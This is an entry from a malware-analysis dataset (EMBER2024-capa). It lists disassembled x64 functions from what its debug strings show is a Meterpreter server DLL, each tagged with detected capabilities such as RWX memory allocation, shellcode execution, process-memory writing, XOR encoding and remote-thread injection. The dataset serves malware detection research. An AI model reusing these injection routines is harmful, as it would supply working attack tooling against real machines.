joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180006884
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, [0x180029764]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x18000699b
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, r15
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [r13 + 0x144]
mov rdx, rbx
mov rcx, r13
mov r15, rax
call fcn.1800067dc
lea r8, [r13 + 0x126]
mov rdx, rdi
mov rcx, r13
call fcn.1800067dc
lea r8, [r13 + 0x130]
mov rdx, rsi
mov rcx, r13
call fcn.1800067dc
lea r8, [r13 + 0x13a]
mov rdx, rbp
mov rcx, r13
call fcn.1800067dc
lea r8, [r13 + 0x11c]
mov rdx, r14
mov rcx, r13
call fcn.1800067dc
lea r8, [r13 + 0x14e]
mov rdx, r15
mov rcx, r13
call fcn.1800067dc
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
ret
Function at 0x1800069c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x108]
mov rdi, rcx
mov esi, 0x40
movsxd rbx, dword [rax + 0x3c]
mov ebp, 0x3000
mov r9d, esi
add rbx, rax
mov r8d, ebp
mov edx, dword [rbx + 0x50]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
mov qword [rdi + 0x110], rax
test rax, rax
jne 0x180006a25
mov edx, dword [rbx + 0x50]
mov r9d, esi
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rdi + 0x110], rax
mov eax, dword [rbx + 0x50]
lea rcx, [0x180029764]
mov dword [rdi + 0x118], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtLockVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or r15, 0xffffffffffffffff
test rax, rax
je 0x180006a7a
mov rcx, qword [rdi + 0x110]
lea r9d, [r15 + 2]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rcx
mov ecx, dword [rbx + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov rcx, r15
call rax
mov r9d, dword [rbx + 0x54]
mov r8, qword [rdi + 0x108]
mov rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
mov ebp, r14d
cmp r14w, word [rbx + 6]
jae 0x180006ae3
lea rsi, [rbx + 0x2c]
add rsi, rax
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
mov r9d, dword [rsi - 4]
add r8, qword [rdi + 0x108]
add rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc ebp
lea rsi, [rsi + 0x28]
cmp ebp, eax
jl 0x180006aaf
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x180006ffc
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x1800070ac
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x1800070dd
xor eax, eax
jmp 0x18000717c
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
test rdx, 0xffffffffffff0000
jne 0x180007125
movzx eax, dx
sub eax, dword [rcx + 0x10]
jmp 0x18000714e
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x180007170
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.18001a690
test eax, eax
jne 0x18000715c
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x180007170
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x18000712c
jmp 0x180007179
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x1800072e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
and qword [rax - 0x18], 0
and dword [rax + 8], 0
and dword [rax + 0x20], 0
test rcx, rcx
je 0x18000737b
test edx, edx
je 0x18000737b
mov rdx, r8
call fcn.1800071a4
test eax, eax
je 0x180007370
mov esi, eax
add rsi, rbx
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180007370
call rsi
test rax, rax
je 0x18000735a
lea r8, [rsp + 0x20]
mov edx, 6
xor ecx, ecx
call rax
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x20]
jmp 0x180007379
jmp 0x18000737d
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180007568
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
movzx eax, byte [rcx + 3]
movzx r10d, byte [rcx + 2]
movzx r9d, byte [rcx + 1]
mov esi, r8d
movzx r8d, byte [rcx]
mov rdi, rcx
mov rbx, rdx
mov dword [rsp + 0x28], eax
lea rcx, str._XOR__XORing__u_bytes_with_key__02x_02x_02x_02x
mov edx, esi
mov dword [rsp + 0x20], r10d
call fcn.180006ffc
xor edx, edx
test esi, esi
je 0x1800075c7
mov ecx, esi
mov rax, rdx
inc rdx
and eax, 3
mov al, byte [rax + rdi]
xor byte [rbx], al
inc rbx
dec rcx
jne 0x1800075b1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180007dac
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
add rcx, 0x30
call fcn.180018d88
cmp qword [0x18003dad0], 0
jne 0x180007ddb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x18003dad0], rax
lea rcx, str._METSRV__Getting_ready_to_init_with_config__p
mov rdx, rbx
call fcn.180006ffc
mov rcx, rbx
call fcn.18000d1bc
mov edx, dword [rbx + 8]
lea rcx, str._METSRV__Exiting_with__08x
mov edi, eax
call fcn.180006ffc
cmp dword [rbx + 8], 0xa2a1de0
je 0x180007e3c
cmp dword [rbx + 8], 0x56a2b5f0
je 0x180007e33
cmp dword [rbx + 8], 0xea320efe
jne 0x180007e26
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov eax, edi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x180007e94
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000920c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x1800093ac
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x180009ea8
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000a064
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000a3d4
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, rcx
mov ebp, reloc.WS2_32.dll_ntohl
mov r14, r9
lea ecx, [rbp + 0x2a]
mov r15, r8
mov esi, edx
call fcn.180018f98
lea rcx, str._SERVER__Initialising_extension__x
mov rdx, rdi
mov rbx, rax
call fcn.18000a064
test rbx, rbx
je 0x18000a59b
lea r8d, [rbp + 0x2a]
xor edx, edx
mov rcx, rbx
call fcn.180019b00
mov qword [rbx], rdi
lea edx, [rbp - 0xc]
mov rcx, rdi
test esi, esi
je 0x18000a46e
call fcn.1800070ac
mov rcx, qword [rbx]
lea edx, [rbp - 0xb]
mov qword [rbx + 8], rax
call fcn.1800070ac
mov rcx, qword [rbx]
lea edx, [rbp - 9]
mov qword [rbx + 0x10], rax
call fcn.1800070ac
mov rcx, qword [rbx]
lea edx, [rbp - 0xa]
mov qword [rbx + 0x18], rax
call fcn.1800070ac
jmp 0x18000a4aa
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 3
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 5
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 4
mov qword [rbx + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbx + 8]
lea rcx, str._SERVER__Calling_init_on_extension__address_is_0x_p
mov qword [rbx + 0x20], rax
call fcn.18000a064
cmp qword [rbx + 8], 0
je 0x18000a52f
lea rcx, str._SERVER__Calling_init__...
call fcn.18000a064
mov rax, qword [rsp + 0x60]
mov rdx, r15
mov qword [rbx + 0x30], rax
mov rcx, qword [0x18003b5e0]
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [0x18003daa0]
mov qword [rbx + 0x28], rcx
mov ebp, eax
test eax, eax
jne 0x18000a527
cmp qword [rbx + 0x18], 0
je 0x18000a516
mov rdi, qword [rbx + 0x30]
jmp 0x18000a511
mov ecx, dword [rdi]
call qword [rbx + 0x18]
mov rdi, qword [rdi + 0xb8]
test rdi, rdi
jne 0x18000a505
mov rcx, qword [0x18003dae0]
mov rdx, rbx
call fcn.180006da8
jmp 0x18000a52f
mov rcx, rbx
call fcn.180018f58
lea rcx, str._SERVER__Called_init__...
call fcn.18000a064
test r14, r14
je 0x18000a59b
mov rdi, qword [rbx + 0x28]
jmp 0x18000a595
mov edx, dword [rdi]
lea rcx, str._LOAD_EXTENSION__Adding_command_ID_to_response:__u
call fcn.18000a064
mov r8d, dword [rdi]
mov edx, 0x2000b
mov rcx, r14
call fcn.1800051e4
mov rax, qword [0x18003dae0]
mov rsi, qword [rax]
jmp 0x18000a589
mov rax, qword [rsi + 0x10]
cmp rax, rbx
je 0x18000a586
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x18000a586
mov ecx, dword [rdi]
call rdx
mov rsi, qword [rsi]
test rsi, rsi
jne 0x18000a570
mov rdi, qword [rdi + 0xb8]
cmp rdi, qword [rbx + 0x30]
jne 0x18000a546
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x18000aa2c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov edi, r8d
mov r14, rdx
mov qword [rax - 0x28], rbx
mov dword [rax - 0x30], 0x80
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rax - 0x38], 1
mov esi, ebx
mov dword [rax + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x18000aa82
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000aab8
test edi, edi
je 0x18000aaaf
mov edx, esi
lea r9, [rsp + 0x78]
mov r8d, edi
mov rcx, rbp
add rdx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000aaaf
add esi, dword [rsp + 0x78]
sub edi, dword [rsp + 0x78]
jne 0x18000aa86
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x18000ab7c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000ac2c
Capabilities:
Create thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [rsp + 0x98]
mov ebx, dword [rsp + 0x90]
lea rdi, [r11 - 0x18]
test rax, rax
mov rsi, r9
mov rbp, r8
cmovne rdi, rax
mov r14, rcx
mov qword [r11 - 0x38], rdi
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x48], r9
mov r9, r8
mov r8, rdx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x18000ad8d
lea rcx, str._REMOTETHREAD__CreateRemoteThread_seems_to_lack_permissions__trying_alternative_options
call fcn.18000ab7c
and qword [rsp + 0x98], 0
cmp dword [0x18003daf0], 0
mov rax, qword [0x18003dae8]
jne 0x18000ad0c
test rax, rax
jne 0x18000ad02
lea rcx, [0x180029764]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18003dae8], rax
test rax, rax
je 0x18000ad02
lea rcx, str._REMOTETHREAD__RtlCreateUserThread_found_at__p__using_for_backup_remote_thread_creation
mov rdx, rax
call fcn.18000ab7c
mov rax, qword [0x18003dae8]
mov dword [0x18003daf0], 1
test rax, rax
je 0x18000ad82
lea rcx, str._REMOTETHREAD__Attempting_thread_creation_with_RtlCreateUserThread
call fcn.18000ab7c
and qword [rsp + 0x48], 0
lea rax, [rsp + 0x98]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rbp
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
shr ebx, 2
and ebx, 1
xor r9d, r9d
xor edx, edx
mov r8d, ebx
mov rcx, r14
call qword [0x18003dae8]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jne 0x18000ad8d
test rdi, rdi
je 0x18000ad8d
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [rdi], eax
jmp 0x18000ad8d
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x98]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x18000adb0
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000b490
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x18000b5ec
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000bec8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
mov rcx, qword [rcx + 0x101c8]
xor ebx, ebx
mov edi, r8d
mov r12, rdx
mov esi, ebx
call fcn.1800126f4
lea rcx, str._NP_SERVER__Writing_a_total_of__u
mov edx, edi
call fcn.18000b5ec
test edi, edi
je 0x18000bfa2
mov r14d, edi
lea r15, [rbp + 0x20]
mov rcx, qword [rbp + 0x190]
xor r9d, r9d
mov r8d, r14d
mov rdx, r12
mov dword [rsp + 0x70], ebx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x190]
lea r8, [rsp + 0x70]
mov r9d, 1
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x18000bf81
mov edx, dword [rsp + 0x70]
lea rcx, str._NP_SERVER__Wrote__u
call fcn.18000b5ec
add esi, dword [rsp + 0x70]
mov r14d, edi
sub r14d, esi
lea rcx, str._NP_SERVER__left_to_go:__u
mov edx, r14d
call fcn.18000b5ec
cmp esi, edi
jb 0x18000bf14
jmp 0x18000bfa2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._NP_SERVER__failed_to_do_the_write
lea rcx, str._s._error_d__0x_x_
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.18000b5ec
lea rcx, str._NP_SERVER__server_write._finished._dwResult_d__written_d
mov r8d, esi
mov edx, ebx
call fcn.18000b5ec
mov rcx, qword [rbp + 0x101c8]
call fcn.180012714
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret